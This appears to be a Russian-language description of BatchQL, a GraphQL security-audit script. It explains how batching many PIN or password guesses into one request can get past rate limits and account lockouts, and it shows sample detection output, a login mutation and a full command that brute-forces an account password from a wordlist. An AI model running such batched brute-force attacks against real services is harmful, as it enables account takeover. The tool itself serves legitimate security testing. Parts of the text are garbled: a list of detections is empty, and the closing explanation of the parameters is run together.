
Сценарий аудита безопасности GraphQL с фокусом на выполнение пакетных GraphQL-запросов и мутаций.
BatchQL — это скрипт для аудита безопасности GraphQL, ориентированный на выполнение пакетных запросов и мутаций GraphQL. Скрипт не сложен, и мы приветствуем улучшения.
При исследовании области атак с помощью пакетной обработки GraphQL мы обнаружили, что в интернете есть несколько публикаций в блогах, однако нет инструмента для выполнения таких атак.
Атаки с пакетной обработкой GraphQL могут быть весьма серьёзными в зависимости от реализованных функций. Например, представьте функциональность сброса пароля, которая ожидает 4-значный PIN-код, отправленный на вашу электронную почту. С помощью этого инструмента можно попытаться перебрать все 10 000 вариантов PIN-кода в одном запросе GraphQL. Это может обойти любые ограничения скорости или блокировки учётной записи в зависимости от деталей реализации процесса сброса пароля.
Этот инструмент способен обнаруживать следующее:
В настоящее время этот инструмент поддерживает только отправку запросов на основе списка JSON для атак пакетной обработки. Он поддерживает сценарии, где переменные встроены в запрос или передаются в JSON-вводе.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
Приведенная выше команда делает следующее:
--query acc-login.txt.--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080